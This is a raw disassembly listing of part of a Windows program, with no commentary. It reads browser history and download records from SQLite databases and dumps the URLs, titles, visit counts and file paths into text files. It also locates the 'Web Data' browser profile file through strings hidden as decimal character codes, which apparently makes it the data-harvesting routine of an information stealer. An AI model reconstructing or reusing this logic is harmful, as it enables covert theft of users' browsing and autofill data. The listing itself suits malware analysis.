call fcn.140006630
nop
lea rcx, [rsp + 0x2e70]
call fcn.14003f6d0
nop
lea rcx, [rsp + 0x2648]
call fcn.140047270
nop
lea rcx, [rsp + 0x2868]
call fcn.140047270
nop
lea rdx, [rsp + 0x2618]
lea rcx, [rsp + 0x2618]
call fcn.14005f010
nop
lea rdx, [rsp + 0x25f0]
lea rcx, [rsp + 0x25f0]
call fcn.14005f010
nop
lea rcx, [rsp + 0x2678]
call fcn.140047270
nop
lea rcx, [rsp + 0x28c8]
call fcn.140047270
nop
lea rdx, [rsp + 0x2608]
lea rcx, [rsp + 0x2608]
call fcn.14005f010
jmp 0x14002e275
mov rcx, qword [rsp + 0x2458]
call fcn.140182a40
cmp eax, 0x64
jne 0x14002b6a5
xor edx, edx
mov rcx, qword [rsp + 0x2458]
call fcn.140183030
mov rdi, rax
mov edx, 1
mov rcx, qword [rsp + 0x2458]
call fcn.140183030
mov rsi, rax
test rdi, rdi
je 0x14002b270
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rdi + rcx], 0
jne 0x14002b2c0
test rcx, rcx
je 0x14002b270
test rsi, rsi
je 0x14002b270
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rsi + rax], 0
jne 0x14002b2e0
test rax, rax
je 0x14002b270
lea r8, str.Downloads
lea rdx, [0x14035d6f0]
lea rcx, [rsp + 0x2b50]
call fcn.1400256d0
nop
lea rdx, [rsp + 0x2b50]
lea rcx, [rsp + 0x560]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x560]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x560]
call fcn.140006630
test bl, bl
jne 0x14002b372
lea rdx, [rsp + 0x2b50]
lea rcx, [rsp + 0x980]
call fcn.1400524f0
nop
lea rcx, [rsp + 0x980]
call fcn.14000a170
nop
lea rcx, [rsp + 0x980]
call fcn.140006630
lea rcx, [rsp + 0x2bc8]
call fcn.140046d30
nop
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
lea r8, [0x1402f30e0]
lea rdx, [rsp + 0x2b50]
test al, al
je 0x14002b50d
lea rcx, [rsp + 0x10f0]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x10d0]
call fcn.1400539c0
nop
lea r8, str._Default.txt
mov rdx, rax
lea rcx, [rsp + 0x10b0]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2bc8]
call fcn.140046bb0
lea rcx, [rsp + 0x10b0]
call fcn.140006630
nop
lea rcx, [rsp + 0x10d0]
call fcn.140006630
nop
lea rcx, [rsp + 0x10f0]
jmp 0x14002b5cc
lea rdx, str.URL_:
lea rcx, [rsp + 0x3510]
call fcn.140053ef0
mov rdx, rdi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.TITLE_:
lea rcx, [rsp + 0x3510]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.VISIT_COUNT_:
lea rcx, [rsp + 0x3510]
call fcn.140053ef0
mov rdx, r14
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3510]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3510]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3510]
call fcn.140031100
nop
lea rcx, [rsp + 0x2be8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2ad0]
call fcn.140006630
nop
jmp 0x14002ad14
lea rcx, [rsp + 0x1190]
call fcn.1400256d0
nop
lea r8, [rsp + 0x2708]
mov rdx, rax
lea rcx, [rsp + 0x1170]
call fcn.1400539c0
nop
lea r8, [0x1402f5e3c]
mov rdx, rax
lea rcx, [rsp + 0x1150]
call fcn.140053950
nop
lea r8, [rsp + 0x29b0]
mov rdx, rax
lea rcx, [rsp + 0x1130]
call fcn.1400539c0
nop
lea r8, str..txt
mov rdx, rax
lea rcx, [rsp + 0x1110]
call fcn.140053950
mov rdx, rax
lea rcx, [rsp + 0x2bc8]
call fcn.140046bb0
lea rcx, [rsp + 0x1110]
call fcn.140006630
nop
lea rcx, [rsp + 0x1130]
call fcn.140006630
nop
lea rcx, [rsp + 0x1150]
call fcn.140006630
nop
lea rcx, [rsp + 0x1170]
call fcn.140006630
nop
lea rcx, [rsp + 0x1190]
call fcn.140006630
lea rcx, [rsp + 0x3730]
call fcn.1400311a0
lea rdx, [rsp + 0x2bc8]
lea rcx, [rsp + 0x3730]
call fcn.14003f230
nop
cmp qword [rsp + 0x37b8], 0
je 0x14002b7f8
lea rdx, [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
call fcn.140055450
test al, al
je 0x14002b780
lea rdx, str.68_101_102_97_117_108_116
lea rcx, [rsp + 0x960]
call fcn.140011ee0
nop
lea rdx, [rsp + 0x960]
lea rcx, [rsp + 0x11b0]
call fcn.140026440
mov rdx, rax
mov rcx, r15
call fcn.140055450
movzx ebx, al
lea rcx, [rsp + 0x11b0]
call fcn.140047270
nop
lea rcx, [rsp + 0x960]
call fcn.140047270
test bl, bl
jne 0x14002b780
lea rcx, [rsp + 0x3730]
call fcn.140031100
nop
lea rcx, [rsp + 0x2bc8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b50]
call fcn.140006630
nop
mov rcx, qword [rsp + 0x2458]
call fcn.140164c40
mov rcx, qword [rsp + 0x2468]
call fcn.14017ede0
lea rdx, [rsp + 0x2788]
lea rcx, [rsp + 0x940]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x940]
call fcn.140009e70
movzx ebx, al
lea rcx, [rsp + 0x940]
call fcn.140006630
test bl, bl
je 0x14002b727
lea rdx, [rsp + 0x2788]
lea rcx, [rsp + 0x920]
call fcn.14005bb10
nop
lea rcx, [rsp + 0x920]
call fcn.140009f30
nop
lea rcx, [rsp + 0x920]
call fcn.140006630
lea rdi, [0x1402f5bdc]
lea rsi, [0x140343cb0]
mov rdx, qword [rsp + 0x27a0]
cmp rdx, 0xf
jbe 0x14002b84b
inc rdx
mov rcx, qword [rsp + 0x2788]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b846
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2d0
jmp 0x14002b846
lea rdx, str.TARGET_PATH_:
lea rcx, [rsp + 0x3730]
call fcn.140053ef0
mov rdx, rdi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.FILE_DOWNLOADED_:
lea rcx, [rsp + 0x3730]
call fcn.140053ef0
mov rdx, rsi
mov rcx, rax
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rdx, str.__________________________________
lea rcx, [rsp + 0x3730]
call fcn.140053ef0
mov rcx, rax
call fcn.14005ab50
lea rcx, [rsp + 0x3730]
call fcn.14003f190
nop
lea rcx, [rsp + 0x3730]
call fcn.140031100
nop
lea rcx, [rsp + 0x2bc8]
call fcn.140006630
nop
lea rcx, [rsp + 0x2b50]
call fcn.140006630
nop
jmp 0x14002b270
call fcn.14025e770
mov qword [rsp + 0x2798], r14
mov qword [rsp + 0x27a0], 0xf
mov byte [rsp + 0x2788], 0
mov rdx, qword [rsp + 0x27e0]
cmp rdx, 0xf
jbe 0x14002b8aa
inc rdx
mov rcx, qword [rsp + 0x27c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b8a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2d6
call fcn.14025e770
mov qword [rsp + 0x27d8], r14
mov qword [rsp + 0x27e0], 0xf
mov byte [rsp + 0x27c8], 0
mov rdx, qword [rsp + 0x2910]
cmp rdx, 0xf
jbe 0x14002b909
inc rdx
mov rcx, qword [rsp + 0x28f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2dc
call fcn.14025e770
mov qword [rsp + 0x2908], r14
mov qword [rsp + 0x2910], 0xf
mov byte [rsp + 0x28f8], 0
mov rdx, qword [rsp + 0x29c8]
cmp rdx, 7
jbe 0x14002b96d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x29b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002b968
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2e2
call fcn.14025e770
mov qword [rsp + 0x29c0], r14
mov qword [rsp + 0x29c8], 7
mov word [rsp + 0x29b0], r14w
lea rcx, [rsp + 0x3140]
call fcn.14003f6d0
add r12, 0x20
jmp 0x14002a2c0
mov r13, qword [rsp + 0x26d0]
mov rax, qword [rsp + 0x26d8]
mov qword [rsp + 0x60], rax
mov r15d, dword [rsp + 0x40]
mov qword [rsp + 0x2600], r13
cmp r13, qword [rsp + 0x60]
je 0x14002dbcd
mov r12, r13
mov qword [rsp + 0x48], r13
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x2638]
sub rax, rcx
cmp rax, 1
jb 0x14002e2e8
lea r9, [rsp + 0x2628]
cmp qword [rsp + 0x2640], 0xf
cmova r9, qword [rsp + 0x2628]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x2628]
movzx edx, byte [rsp + 0x50]
lea rcx, [rsp + 0x290]
call fcn.14006a0e0
or r15d, 0x40
mov rdx, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14002ba4d
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x290]
call fcn.1400470b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x2768], xmm0
mov qword [rsp + 0x2778], r14
mov qword [rsp + 0x2780], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2768], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2778], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 7
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0xf
jbe 0x14002bae7
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2ee
call fcn.14025e770
mov qword [rsp + 0x2a0], r14
mov qword [rsp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x290], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x30c0], xmm0
movups xmmword [rsp + 0x30d0], xmm0
movups xmmword [rsp + 0x30e0], xmm0
movups xmmword [rsp + 0x30f0], xmm0
movups xmmword [rsp + 0x3100], xmm0
movups xmmword [rsp + 0x3110], xmm0
movups xmmword [rsp + 0x3120], xmm0
mov qword [rsp + 0x3130], rax
lea rcx, [rsp + 0x30c0]
call fcn.14003f7c0
nop
mov r8, r13
cmp qword [r13 + 0x18], 0xf
jbe 0x14002bb64
mov r8, qword [r13]
mov r9, qword [r13 + 0x10]
add r9, r8
lea rdx, [rsp + 0x2990]
lea rcx, [rsp + 0x30c0]
call fcn.14004b290
bts r15d, 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x26e8], xmm0
mov qword [rsp + 0x26f8], r14
mov qword [rsp + 0x2700], 0xf
mov byte [rsp + 0x26e8], 0
movups xmmword [rsp + 0x2698], xmm0
mov qword [rsp + 0x26a8], r14
mov qword [rsp + 0x26b0], 0xf
mov byte [rsp + 0x2698], 0
lea rdx, [rsp + 0x2678]
cmp qword [rsp + 0x2690], 0xf
cmova rdx, qword [rsp + 0x2678]
lea rcx, [rsp + 0x2648]
cmp qword [rsp + 0x2660], 0xf
cmova rcx, qword [rsp + 0x2648]
mov r8, qword [rsp + 0x2658]
cmp r8, qword [rsp + 0x2688]
jne 0x14002c020
call fcn.14029f630
test eax, eax
jne 0x14002c020
xorps xmm0, xmm0
movups xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], r14
lea r8d, [rax + 0x1c]
lea rdx, str.92_87_101_98_32_68_97_116_97
lea rcx, [rsp + 0x1c0]
call fcn.140011f20
nop
lea rdx, [rsp + 0x1c0]
lea rcx, [rsp + 0x360]
call fcn.140026440
nop
lea r8, [rsp + 0x2628]
cmp qword [rsp + 0x2640], 0xf
cmova r8, qword [rsp + 0x2628]
mov r9, qword [rsp + 0x2638]
xor edx, edx
mov rcx, rax
call fcn.140069e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x1e0], xmm0
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1f0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xe
mov rdx, qword [rsp + 0x2700]
cmp rdx, 0xf
jbe 0x14002bd26
inc rdx
mov rcx, qword [rsp + 0x26e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bd21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2f4
call fcn.14025e770
movups xmm0, xmmword [rsp + 0x1e0]
movups xmmword [rsp + 0x26e8], xmm0
movups xmm1, xmmword [rsp + 0x1f0]
movups xmmword [rsp + 0x26f8], xmm1
mov qword [rsp + 0x1f0], r14
mov qword [rsp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1e0], 0
mov rdx, qword [rsp + 0x378]
cmp rdx, 0xf
jbe 0x14002bda5
inc rdx
mov rcx, qword [rsp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bda0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e2fa
call fcn.14025e770
mov qword [rsp + 0x370], r14
mov qword [rsp + 0x378], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x360], 0
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0xf
jbe 0x14002be04
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bdff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x1d0], r14
mov qword [rsp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1c0], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], r14
mov r8d, 0x32
lea rdx, str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea rcx, [rsp + 0x180]
call fcn.140011f20
nop
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x380]
call fcn.140026440
nop
lea r8, [rsp + 0x2628]
cmp qword [rsp + 0x2640], 0xf
cmova r8, qword [rsp + 0x2628]
mov r9, qword [rsp + 0x2638]
xor edx, edx
mov rcx, rax
call fcn.140069e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x1a0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x1b0], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 9
mov rdx, qword [rsp + 0x26b0]
cmp rdx, 0xf
jbe 0x14002bf21
inc rdx
mov rcx, qword [rsp + 0x2698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bf1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e300
call fcn.14025e770
movups xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0x2698], xmm0
movups xmm1, xmmword [rsp + 0x1b0]
movups xmmword [rsp + 0x26a8], xmm1
mov qword [rsp + 0x1b0], r14
mov qword [rsp + 0x1b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1a0], 0
mov rdx, qword [rsp + 0x398]
cmp rdx, 0xf
jbe 0x14002bfa0
inc rdx
mov rcx, qword [rsp + 0x380]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bf9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e306
call fcn.14025e770
mov qword [rsp + 0x390], r14
mov qword [rsp + 0x398], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x380], 0
mov rdx, qword [rsp + 0x198]
cmp rdx, 0xf
jbe 0x14002bfff
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002bffa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x180], 0
jmp 0x14002c416
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x140], r14
mov r8d, 0x1c
lea rdx, str.92_87_101_98_32_68_97_116_97
lea rcx, [rsp + 0x128]
call fcn.140011f20
nop
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x3a0]
call fcn.140026440
nop
lea r8, [rsp + 0x2768]
cmp qword [rsp + 0x2780], 0xf
cmova r8, qword [rsp + 0x2768]
mov r9, qword [rsp + 0x2778]
xor edx, edx
mov rcx, rax
call fcn.140069e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x160], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x170], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xa
mov rdx, qword [rsp + 0x2700]
cmp rdx, 0xf
jbe 0x14002c121
inc rdx
mov rcx, qword [rsp + 0x26e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c11c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e30c
call fcn.14025e770
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [rsp + 0x26e8], xmm0
movups xmm1, xmmword [rsp + 0x170]
movups xmmword [rsp + 0x26f8], xmm1
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x160], 0
mov rdx, qword [rsp + 0x3b8]
cmp rdx, 0xf
jbe 0x14002c1a0
inc rdx
mov rcx, qword [rsp + 0x3a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c19b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e312
call fcn.14025e770
mov qword [rsp + 0x3b0], r14
mov qword [rsp + 0x3b8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x3a0], 0
mov rdx, qword [rsp + 0x140]
cmp rdx, 0xf
jbe 0x14002c1ff
inc rdx
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c1fa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x138], r14
mov qword [rsp + 0x140], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x128], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], r14
mov r8d, 0x32
lea rdx, str.92_70_114_101_100_121_95_87_101_98_95_68_97_116_97
lea rcx, [rsp + 0xe8]
call fcn.140011f20
nop
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x2b0]
call fcn.140026440
nop
lea r8, [rsp + 0x2768]
cmp qword [rsp + 0x2780], 0xf
cmova r8, qword [rsp + 0x2768]
mov r9, qword [rsp + 0x2778]
xor edx, edx
mov rcx, rax
call fcn.140069e00
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x118], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
bts r15d, 0xb
mov rdx, qword [rsp + 0x26b0]
cmp rdx, 0xf
jbe 0x14002c31c
inc rdx
mov rcx, qword [rsp + 0x2698]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c317
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e318
call fcn.14025e770
movups xmm0, xmmword [rsp + 0x108]
movups xmmword [rsp + 0x2698], xmm0
movups xmm1, xmmword [rsp + 0x118]
movups xmmword [rsp + 0x26a8], xmm1
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0xf
jbe 0x14002c39b
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c396
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e31e
call fcn.14025e770
mov qword [rsp + 0x2c0], r14
mov qword [rsp + 0x2c8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x2b0], 0
mov rdx, qword [rsp + 0x100]
cmp rdx, 0xf
jbe 0x14002c3fa
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c3f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0xe8], 0
lea rax, [rsp + 0x26e8]
cmp qword [rsp + 0x2700], 0xf
cmova rax, qword [rsp + 0x26e8]
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0x26f8]
mov qword [rsp + 0x358], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x350]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0x220]
call fcn.140005720
or r15d, 0x30
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
mov r8d, 3
lea rdx, [rsp + 0x220]
lea rcx, [rsp + 0xec0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3d0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x340], ecx
mov qword [rsp + 0x348], rsi
movaps xmm0, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x25e0], xmm0
mov eax, dword [rsp + 0x3d0]
test eax, eax
je 0x14002c736
mov dword [rsp + 0x25e0], r14d
mov qword [rsp + 0x25e8], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x238]
cmp rdx, 7
jbe 0x14002c53b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c536
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x230], r14
mov qword [rsp + 0x238], 7
mov word [rsp + 0x220], r14w
test bl, bl
je 0x14002d961
lea rax, [rsp + 0x2698]
cmp qword [rsp + 0x26b0], 0xf
cmova rax, qword [rsp + 0x2698]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x26a8]
mov qword [rsp + 0x338], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0x200]
call fcn.140005720
or r15d, 0x3000
mov r8d, 3
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xeb0]
call fcn.140009f80
movsd xmm0, qword [rax]
movsd qword [rsp + 0x3e0], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x320], ecx
mov qword [rsp + 0x328], rsi
movaps xmm0, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x25e0], xmm0
mov eax, dword [rsp + 0x3e0]
test eax, eax
je 0x14002c745
mov dword [rsp + 0x25e0], r14d
mov qword [rsp + 0x25e8], rsi
cmp eax, 1
setne bl
mov rdx, qword [rsp + 0x218]
cmp rdx, 7
jbe 0x14002c67e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c679
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], 7
mov word [rsp + 0x200], r14w
test bl, bl
je 0x14002c7b9
lea rax, [rsp + 0x2698]
cmp qword [rsp + 0x26b0], 0xf
cmova rax, qword [rsp + 0x2698]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x26a8]
mov qword [rsp + 0x318], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x310]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0xc8]
call fcn.140005720
or r15d, 0x180000
lea rcx, [rsp + 0xc8]
cmp qword [rsp + 0xe0], 7
cmova rcx, qword [rsp + 0xc8]
call fcn.1402400ac
shr rax, 0x20
test eax, eax
jne 0x14002e324
jmp 0x14002c754
xor bl, bl
test ecx, ecx
jne 0x14002e33b
jmp 0x14002c4f3
xor bl, bl
test ecx, ecx
jne 0x14002e358
jmp 0x14002c636
mov rdx, qword [rsp + 0xe0]
cmp rdx, 7
jbe 0x14002c79c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e398
call fcn.14025e770
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], 7
mov word [rsp + 0xc8], r14w
lea rax, [rsp + 0x2698]
cmp qword [rsp + 0x26b0], 0xf
cmova rax, qword [rsp + 0x2698]
mov qword [rsp + 0x300], rax
mov rax, qword [rsp + 0x26a8]
mov qword [rsp + 0x308], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0x88]
call fcn.140005720
or r15d, 0x18000
lea rax, [rsp + 0x26e8]
cmp qword [rsp + 0x2700], 0xf
cmova rax, qword [rsp + 0x26e8]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x26f8]
mov qword [rsp + 0x158], rax
call fcn.14023f504
movaps xmm0, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x25e0], xmm0
lea r8, [rsp + 0x25e0]
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.140005720
or r15d, 0x60000
mov dword [rsp + 0x40], r15d
mov dword [rsp + 0x44], r15d
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 7
cmova rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0xa8]
cmp qword [rsp + 0xc0], 7
cmova rcx, qword [rsp + 0xa8]
xor r8d, r8d
call fcn.14023f764
mov rbx, rax
mov rdx, rax
shr rdx, 0x20
test edx, edx
jne 0x14002e375
mov rdx, qword [rsp + 0xc0]
cmp rdx, 7
jbe 0x14002c925
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002c920
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e392
call fcn.14025e770
mov qword [rsp + 0xb8], r14
mov qword [rsp + 0xc0], 7
